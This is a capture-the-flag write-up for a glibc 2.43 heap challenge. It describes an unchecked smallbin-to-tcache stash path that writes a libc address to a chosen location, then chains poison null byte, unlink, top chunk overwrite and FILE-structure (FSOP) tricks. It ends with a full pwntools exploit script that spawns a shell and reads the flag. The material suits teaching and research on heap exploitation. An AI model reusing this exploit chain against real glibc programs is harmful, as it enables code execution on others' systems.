No description.
Classic heap challenge on glibc 2.43, with alloc, free, edit, and view. There are a few caveats:
tcache != &__tcache_dummy#changes to mallocThe last part is checking part of how 2.43 handles tcache. In 2.43 the tcache is lazily allocated under a few conditions:
mp_.tcache_max_bytes is freed
mp_.tcache_max_bytes
nb == size
Before lazy allocation the perthread tcache will point to the read only __tcache_dummy structure in the libc, which has bin counts of 0 and effectively causes the malloc code to ignore the tcache during normal execution.
Once any of the 3 conditions above are triggered it is no longer possible to perform allocations smaller than 0x420, effectively disabling allocating from the tcache.
In 2.43 a few important things have also changed. Fastbins have been completely removed, tcache has been restructured such that overwriting mp_.tcache_max_bytes no longer indexes arbitrarily out of bounds of tcache, and all the large bin attack vectors have new security checks.
#what still worksFaking chunks still works, e.g. poison null byte with fake chunks for overlapping chunks. Chunk unlink attack still works. Top chunk overwrite still works, but it's pretty finicky.
Some less direct techniques still exist and are not blocked by mitigations. Large bin skip list behavior allows for calling unlink_chunk on any chunk with the same size.
#new "largebin" attackThe root cause of the largebin attack was that malloc has two ways of removing chunks from linked lists. The checked safe path is to use unlink_chunk, but some of the code will manipulate the fd/bk/fd_nextsize/bk_nextsize pointers directly, leading to potentially exploitable behavior. Anywhere that malloc would dereference linked list pointers twice was exploitable and this was most prevalent and triggerable in the large bin handling code. For example:
1 2 3 4 5 6 7
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
Now in 2.43 all those code paths have checks. But largebin isn't the only place where this sort of manual linked list manipulation occurs. While working on this challenge I found one other place where this sort of unchecked manipulation happens:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tc_idx < mp_.tcache_small_bins)
{
mchunkptr tc_victim;
if (__glibc_unlikely (tcache_inactive ()))
tcache_init (av);
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->num_slots[tc_idx] != 0
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != NULL)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
Do you see the issue? Checks are only performed on the first smallbin chunk, and are completely skipped later in the code when malloc iterates over the rest of the chunks in the smallbin to move them into the tcache. Again it's the same issue: manual unchecked linked list manipulation. In this case its smallbin instead of largebin and the line we care about is this one:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->num_slots[tc_idx] != 0
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != NULL)
{
// [1] attacker controlled !!!
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
// [2] libc address written to attacker controlled address !!!
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}
Instead of writing a heap address into an attacker controlled address, triggering this will write a libc address into an attacker controlled address.
#building primitivesThere is a single vulnerability in the challenge. When populating the initial contents of the allocated chunk the challenge does this:
1 2 3
void *buf = malloc(size);
size_t nbytes = read(0, buf, size);
buf[nbytes] = 0;
#overlapping chunksSince read can return exactly size bytes, the buf[bytes] = 0 can index past the end of the malloced buffer, a classic poison null byte vulnerability. With this it is possible to build overlapping chunks in the heap (see this guide on how2heap). Most importantly it is possible to do this without triggering the tcache allocation code at all. This technique is also stable and can be reused multiple times to build multiple overlapping chunks.
#arbitrary unlinkNow with overlapping chunks it is possible to perform partial overwrites over the prevsize, size, fd, and bk fields of freed chunks. Our goal is to call unlink_chunk to overwrite main_arena.top with a libc address (see this guide on how2heap). The basic idea is that if there is a pointer to a heap chunk at a known address, it is possible to overwrite that pointer with &pointer - 0x18 by calling unlink_chunk on a crafted heap chunk. The pointer can then be used to overwrite itself to any address.
Normally the malloc code will never call unlink_chunk on top chunk. It will detect that a chunk is merging with top chunk and skip calling unlink_chunk. So instead we abuse large bin skip list behavior to force malloc to call unlink_chunk on an arbitrary address, in this case top chunk.
1 2 3 4 5 6 7 8 9
/* Avoid removing the first entry for a size so that the skip
list does not have to be rerouted. */
if (victim != last (bin)
&& chunksize_nomask (victim)
== chunksize_nomask (victim->fd))
victim = victim->fd;
remainder_size = size - nb;
unlink_chunk (av, victim);
#top chunk overwriteTop chunk now points to right below itself at &main_arena.top - 0x18, should be easy now right? Not quite. In order for allocations to be served from top chunk two checks must be passed:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
use_top:
/*
If large enough, split off the chunk bordering the end of memory
(held in av->top). Note that this is in accord with the best-fit
search rule. In effect, av->top is treated as larger (and thus
less well fitting) than any other available chunk since it can
be extended to be as large as necessary (up to system
limitations).
We require that av->top always exists (i.e., has size >=
MINSIZE) after initialization, so if it would otherwise be
exhausted by current request, it is replenished. (The main
reason for ensuring it exists is that we may need MINSIZE space
to put in fenceposts in sysmalloc.)
*/
victim = av->top;
size = chunksize (victim);
if (__glibc_unlikely (size > av->system_mem))
malloc_printerr ("malloc(): corrupted top size");
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
av->top = remainder;
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
/*
Otherwise, relay to handle system-dependent cases
*/
else
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}
Unfortunately pointing top chunk to &main_arena.top - 0x18 ends up giving it a size of zero. We skip the happy path of allocating from top chunk and hit sysmalloc where malloc will subsequently freak out, panic, and abort the process.
This is where our newly discovered smallbin attack comes in. All of the primitives described above can be carefully performed to avoid initializing the tcache, to preserve the malloc state so that we are able to trigger the vulnerable smallbin code. Since the code doesn't validate chunk alignment we can write the libc address in such a way that it overlaps with the memory that top chunk is interpreting as a size field, giving our fake libc top chunk a valid size.
#semi arbitrary writeTop chunk overwrite is pretty powerful. Even better in this scenario is that top chunk initially points to itself, so the first allocation will return a persistent point to &main_arena.top. Combined with the edit feature top chunk can be changed to point anywhere in the libc that has a valid size field. This isn't very difficult because the alignment of top chunk is never verified and malloc will happily interpret the upper 4 bytes of some random pointer as the size.
#exploitationAt this point we have semi arbitrary write, but still no leaks. To fully exploit this for RCE we'll take advantage of only partial writes and build a self container FSOP payload that triggers on libc exit during _IO_flush_all.
The classic FSOP technique for leakless heap challenges is to overwrite _IO_2_1_stdout_._flags and partially overwrite the last few bytes of _IO_2_1_stdout_._IO_write_base. However, in order to trigger the leak something needs to interact with _IO_2_1_stdout_. Typically this would just be puts or printf that is called during normal execution of the challenge, except in this case _IO_2_1_stdout_ is bypassed by directly calling write. The leak payload would still trigger when libc exit is called, but at that point it's too late to use the leak right?
Well... not exactly. _IO_flush_all iterates over the open libc FILE structs one by one, starting with _IO_2_1_stderr_, then _IO_2_1_stdout_, and finally _IO_2_1_stdin_. This ordering is dynamic, starting with whatever FILE _IO_list_all points to and each FILE's _chain pointer to the next file.
1 2 3 4 5
/* defaults to this */
FILE *_IO_list_all = &_IO_2_1_stderr_;
_IO_2_1_stderr_._chain = &_IO_2_1_stdout_;
_IO_2_1_stdout_._chain = &_IO_2_1_stdin_;
_IO_2_1_stdin_._chain = NULL;
By partially overwriting _IO_2_1_stdin_._IO_write_base and _IO_2_1_stdin_.vtable a call to read is triggered during _IO_flush_all. The read starts from our partially overwritten _IO_write_base and ends at &_IO_2_1_stdin_._shortbuf[1].
As shown in this gdb dump of struct _IO_FILE the _shortbuf field comes after the _chain field in the structure.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
type = struct _IO_FILE {
/* 0x0000 | 0x0004 */ int _flags;
/* XXX 4-byte hole */
/* 0x0008 | 0x0008 */ char *_IO_read_ptr;
/* 0x0010 | 0x0008 */ char *_IO_read_end;
/* 0x0018 | 0x0008 */ char *_IO_read_base;
/* 0x0020 | 0x0008 */ char *_IO_write_base;
/* 0x0028 | 0x0008 */ char *_IO_write_ptr;
/* 0x0030 | 0x0008 */ char *_IO_write_end;
/* 0x0038 | 0x0008 */ char *_IO_buf_base;
/* 0x0040 | 0x0008 */ char *_IO_buf_end;
/* 0x0048 | 0x0008 */ char *_IO_save_base;
/* 0x0050 | 0x0008 */ char *_IO_backup_base;
/* 0x0058 | 0x0008 */ char *_IO_save_end;
/* 0x0060 | 0x0008 */ struct _IO_marker *_markers;
/* 0x0068 | 0x0008 */ struct _IO_FILE *_chain;
/* 0x0070 | 0x0004 */ int _fileno;
/* 0x0074: 0x0 | 0x0004 */ int _flags2 : 24;
/* 0x0077 | 0x0001 */ char _short_backupbuf[1];
/* 0x0078 | 0x0008 */ __off_t _old_offset;
/* 0x0080 | 0x0002 */ unsigned short _cur_column;
/* 0x0082 | 0x0001 */ signed char _vtable_offset;
/* 0x0083 | 0x0001 */ char _shortbuf[1];
/* XXX 4-byte hole */
/* 0x0088 | 0x0008 */ _IO_lock_t *_lock;
/* 0x0090 | 0x0008 */ __off64_t _offset;
/* 0x0098 | 0x0008 */ struct _IO_codecvt *_codecvt;
/* 0x00a0 | 0x0008 */ struct _IO_wide_data *_wide_data;
/* 0x00a8 | 0x0008 */ struct _IO_FILE *_freeres_list;
/* 0x00b0 | 0x0008 */ void *_freeres_buf;
/* 0x00b8 | 0x0008 */ struct _IO_FILE **_prevchain;
/* 0x00c0 | 0x0004 */ int _mode;
/* 0x00c4 | 0x0004 */ int _unused3;
/* 0x00c8 | 0x0008 */ __uint64_t _total_written;
/* 0x00d0 | 0x0008 */ char _unused2[8];
/* total size (bytes): 216 */
}
So when we trigger the read we can overwrite the _chain pointer of _IO_2_1_stdin_ to further extend the FILE processing loop in _IO_flush_all. Combined with the leak that triggered on _IO_2_1_stdout_ in the previous iteration of _IO_flush_all we can write a fake file struct to trigger system("/bin/sh") and set _IO_2_1_stdin_._chain to point to this fake file.
#filesNOTE: requires 1/256 brute force.
(sorry image handling is a bit broken right now)

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437
from pwn import *
import builtins
class config:
file: str = './patched'
libc: str = './libc.so.6'
port: int = 1339
file = None
if config.file:
file = ELF(config.file, checksec=False)
context.binary = file
libc = None
if config.libc:
libc = ELF(config.libc, checksec=False)
context.terminal = ["/usr/bin/kitty"]
def dockerd(p, api=False):
global g
if not args.LOCAL:
return
p.recv(1)
while True:
sleep(.1)
try:
pid = (
subprocess.run(
["pgrep", "-fx", "/chall/a.out"],
check=True,
capture_output=True,
encoding="utf-8",
)
.stdout.strip()
.splitlines()
)
if len(pid) == 0:
continue
log.info(f"pids: {pid}")
if len(pid) != 1:
log.error("more than one option")
pid = int(pid[0])
g = gdb.attach(
pid, gdbscript=script, exe=config.file, sysroot=f"/proc/{pid}/root/", api=api
)
if api:
g = g[1]
break
except subprocess.CalledProcessError:
log.warn("failed pgrep")
def send(after: bytes, val, line = False):
match type(val):
case builtins.int | builtins.str:
val = f"{val}".encode()
case builtins.bytes:
pass
if line: val += b"\n"
p.sendafter(after, val)
def sendline(after: bytes, val):
send(after, val, True)
def connect():
if args.REMOTE:
p = remote(args.HOST or "localhost", args.PORT or config.port)
elif args.GDB:
p = gdb.debug([config.file], gdbscript=script)
else:
p = process([config.file])
dockerd(p)
return p
script = """
brva 0x14c5
c
heapbase
libc
python
print("getting info")
heapbase = gdb.execute("p $heapbase", to_string=True).split()[2]
libcbase = gdb.execute("p $libc", to_string=True).split()[2]
print("got info")
with open("/tmp/heap-pipe", "w") as f:
f.write(heapbase + "\\n")
f.write(libcbase + "\\n")
print("wrote info")
# if (int(libcbase, 0) & 0xf000) != 0x8000:
# gdb.execute("q")
# if (int(heapbase, 0) & 0xf000) != 0x8000:
# gdb.execute("q")
end
c
# set *(int *)($heapbase+0x340) ^= 0x60
# c
heap bins
tele (($heapbase&~0xffff)+0x10000) 16
"""
buffer = True
def alloc(idx: int, size: int, data: bytes = None):
if data is None:
size -= 1
data = b"\0" * size
if buffer:
buf = b""
buf += b"1".ljust(0x20, b"\0")
buf += f"{idx}".encode().ljust(0x20, b"\0")
buf += f"{size}".encode().ljust(0x20, b"\0")
buf += data
p.sendafter(b"> ", buf)
for _ in range(3): p.recvuntil(b":")
return idx
p.sendafter(b"> ", b"1".ljust(0x20, b"\0"))
sendline(b": ", idx)
sendline(b": ", size)
send(b": ", data)
return idx
def free(idx: int):
if buffer:
p.sendafter(b"> ", b"2".ljust(0x20, b"\0") + f"{idx}".encode().ljust(0x20, b"\0"))
for _ in range(1): p.recvuntil(b": ")
return
p.sendafter(b"> ", b"2".ljust(0x20, b"\0"))
sendline(b": ", idx)
def edit(idx: int, data: bytes):
p.sendafter(b"> ", b"3".ljust(0x20, b"\0"))
sendline(b": ", idx)
send(b": ", data)
def bp():
p.sendafter(b"> ", b"4".ljust(0x20, b"\0"))
_tmp = 100
def tmp():
global _tmp
_tmp -= 1
if _tmp < 0:
log.error("overflow")
return _tmp
while True:
p = connect()
_tmp = 100
alloc(tmp(), 0x800)
if args.LOCAL:
import os
try:
os.unlink("/tmp/heap-pipe")
except FileNotFoundError:
pass
os.mkfifo("/tmp/heap-pipe")
bp()
with open("/tmp/heap-pipe", "r") as f:
heap = f.readline()
libc = f.readline()
heap = int(heap, 0)
libc = int(libc, 0)
log.info(f"{heap = :#x}")
log.info(f"{libc = :#x}")
# if (libc & 0xf000) != 0x8000:
# p.close()
# continue
# if (heap & 0xf000) != 0x8000:
# p.close()
# continue
# heap = 0x8000
# libc = 0x8000
break
else:
heap = 0x8000
libc = 0x8000
break
fd_dec = [alloc(tmp(), 0x18) for _ in range(0x18)]
bk_dec = [alloc(tmp(), 0x58) for _ in range(0x10)]
setup_large = 0x5f8
setup_large_cut = 0x5f8-0x20
setup_large_split = setup_large - setup_large_cut + 8
for i in range(0, 16, 1):
alloc(0, setup_large)
alloc(1, setup_large_split)
free(0)
alloc(0, setup_large_cut)
alloc(0, 0xff8)
alloc(0, 0xbe8)
pages = 0x20000 - (heap & 0xf000) >> 12
for _ in range(pages - 9):
alloc(0, 0xff8)
def overlapping(stop=False, align=True, target: int = None):
log.info("overlap")
initextra = 0x80
initsize = 0x438 + initextra
overflowsize = 0x428
triggersize = overflowsize + (initsize + 8)
prevsize = 0xe08-(triggersize+8)
asize = prevsize-0x10
victimsize = 0x4f8
bsize = prevsize+0x10
fakesize = (prevsize + (triggersize+8)) & ~0xff
reclaimsize = fakesize + victimsize
csize = prevsize
pages = [alloc(tmp(), 0xff8) for _ in range(3)]
alloc(0, 0x428)
a = alloc(tmp(), asize)
alloc(tmp(), 0x428)
b = alloc(tmp(), bsize)
alloc(0, 0x428)
c = alloc(tmp(), csize)
alloc(0, 0x428)
prev = alloc(tmp(), prevsize)
alloc(0, 0x38)
force = alloc(tmp(), initsize - initextra)
alloc(0, 0x38)
trigger = alloc(tmp(), overflowsize)
victim = alloc(tmp(), victimsize)
other = alloc(tmp(), 0x428)
[free(i) for i in pages]
free(a)
free(b)
free(prev)
lo = target or 0x5030
alloc(0, 0xff8)
prev2 = alloc(0, prevsize, p64(0) + p32(fakesize | 1) + b"\0")
b2 = alloc(b, bsize, b"X")
edit(b2, p16(lo))
a2 = alloc(a, asize, b"A")
free(a2)
free(victim)
free(c)
alloc(0, 0xff8)
a3 = alloc(a, asize, p64(0))
edit(a3, p64(0) + p16(lo))
victim2 = alloc(victim, victimsize)
c2 = alloc(0, csize)
free(trigger)
alloc(0, 0xff8)
alloc(trigger, overflowsize, b"\0" * (overflowsize - 8) + p64(fakesize))
free(victim2)
a = alloc(tmp(), reclaimsize - 0x440, b"B")
b = alloc(tmp(), 0x438 - 0x10, b"B")
if align:
used = (prevsize + 8) + (initsize + 8) + (overflowsize + 8) + (victimsize + 8) + (asize + 8) + (bsize + 8) + (csize + 8) + 0x3000 + 0x430 * 5
needed = 0xfff8 - used
alloc(0, needed & 0xfff)
for _ in range(needed >> 12):
alloc(0, 0xff8)
return a, b, force, initsize - initextra, other
p.sendafter(b"> ", b"99".ljust(0x20, b"\0"))
p.recvuntil(b": ")
hint = u8(p.recvn(1)) - 0x0a
libc = ((hint & 0xff) << 16) | (libc & 0xf000)
log.info(f"{libc = :#x}")
ma = libc + 0x1d9c80
if (ma & 0xffffff) != ma:
log.error("bad")
log.info(f"{ma = :#x}")
mp_tcache_max_bytes = 0x1d93b8
main_arena_top = 0x1d9c88
try:
ra2, rb2, overlap2, overlapsize2, other2 = overlapping()
ra3, rb3, overlap3, overlapsize3, other3 = overlapping(align=False)
bigsize = 0x480
big = alloc(tmp(), bigsize - 8)
ra4, rb4, overlap4, overlapsize4, other4 = overlapping(align=False, target=0xbd90 - (0x600 - bigsize))
except EOFError:
log.info("died...")
exit(0)
free(ra3)
free(rb3)
fakesize = 0x490
fakedit = alloc(tmp(), 0x578, b"O")
alloc(1, 0xd78 - 0x10, b"Y")
edit(fakedit, b"\0" * 0x540 + p64(0x21) + p64(fakesize | 1))
edit(1, b"\0" * (0x7c0 - (0x800 - fakesize)) + p64(fakesize) + p64(0x21) + p64(0) * 2 + p64(0x21) * 2)
alloc(0, 0x5f8, b"I")
free(0)
free(overlap2)
alloc(0, overlapsize2 - 0x20, b"R")
free(ra2)
alloc(0, 0x968, b"Y")
thing = alloc(tmp(), 0x548 - 0x10, b"Z")
edit(thing, p64(0) + p16(((libc + main_arena_top - 0x10 - 0x10 - 4) & 0xffff)))
free(other4)
free(rb4)
free(ra4)
alloc(0, 0xff8, b"U")
edit(0, flat({
0x500: 0x520,
0x508: 0x41,
0x548: 0x441,
0x988: 0x41,
0x9c8: 0x431,
0xdf0: 0xe00,
0xdf8: 0x500,
0xeb8: 0xf531,
0xb00: 0x490,
0xb08: 0x21,
0xb20: 0x21,
0xb28: 0x21,
}, filler=b"\0"))
free(0)
part = alloc(tmp(), 0x628, b"Z")
free(overlap4)
alloc(overlap4, 0x128, b"PPX")
edit(overlap4, b"\0" * 0xd0 + p64(0x630) + p32(0x490 + 0x50 | 1))
alloc(0, 0x18)
free(part)
def tcache_counts(counts):
c = dict()
for idx, count in counts.items():
c[idx * 2] = count
for i in range(max(counts)):
if i not in counts:
c[i * 2] = 16
return b"\0" * (0x6c0 - 0x20) + flat(c, word_size = 16)
fake_stdin_header_chunk = 0x1d9a7c
fake_stdin_vtable_chunk = 0x1d9b3c
fake_stdout_header_chunk = 0x1da714
fake_libc_file = 0x1d99a0
first = alloc(tmp(), 0x678 + 0x30, b"U")
edit(first, b"\0" * 0x6a0)
second = alloc(tmp(), 0x428, b"XXD")
free(first)
free(big)
free(overlap3)
alloc(first, 0x678, b"H")
free(second)
edit(fakedit, b"\0" * 0x540 + p64(0x21) + p64(fakesize | 1) + p16(0xc290))
[free(i) for i in fd_dec]
[free(i) for i in bk_dec]
alloc(0, 0x488, b"Z")
alloc(0, 0x7f8, b"O")
edit(0, p64(0) + p16(libc + fake_stdin_header_chunk & 0xffff))
alloc(1, 0x7f8, b"O")
edit(1, b"\0" * 0x14 + p64(0xfbad200b) + p64(0) * 3 + p16(libc + fake_libc_file & 0xffff))
edit(0, p64(0) + p16(libc + fake_stdin_vtable_chunk & 0xffff))
alloc(1, 0x7f8, b"O")
edit(1, b"\0" * 0x2c + p8(0x28))
edit(0, p64(0) + p16(libc + fake_stdout_header_chunk & 0xffff))
alloc(1, 0x7f8, b"O")
edit(1, b"\0" * 0x1c + p64(0xfbad0000 | 0x1000 | 0x800 | 2) + p64(0) * 3 + p8(0))
p.sendafter(b"> ", b"5".ljust(0x20, b"\0"))
leak = u64(p.recvn(8))
log.info(f"{leak = :#x}")
ll = ELF("./libc.so.6", checksec=False)
ll.address = leak - 0x1d98a0
log.info(f"{ll.address = :#x}")
fake_file = FileStructure(0)
fake_file.flags = u64(b' sh\x00\x00\x00\x00')
fake_file._IO_write_ptr = 1
fake_file._wide_data = ll.address + fake_libc_file - 0x10
fake_file._lock = ll.bss(0x400)
fake_file.chain = ll.sym.system
fake_file.vtable = ll.sym._IO_wfile_jumps
payload = bytes(fake_file)[:-0x10] + p64(ll.address + fake_libc_file) + bytes(fake_file)[-0x8:]
log.info(f"{len(payload) = :#x}")
payload = payload.ljust(0x100) + b"\0" * 0x68 + p64(ll.address + fake_libc_file)
p.send(payload.ljust(0x183, b"\0"))
p.sendline(b"id && uname -a && cat /flag.txt")
print("FLAG FlAg FlaG!!!")
p.interactive()
while True: pass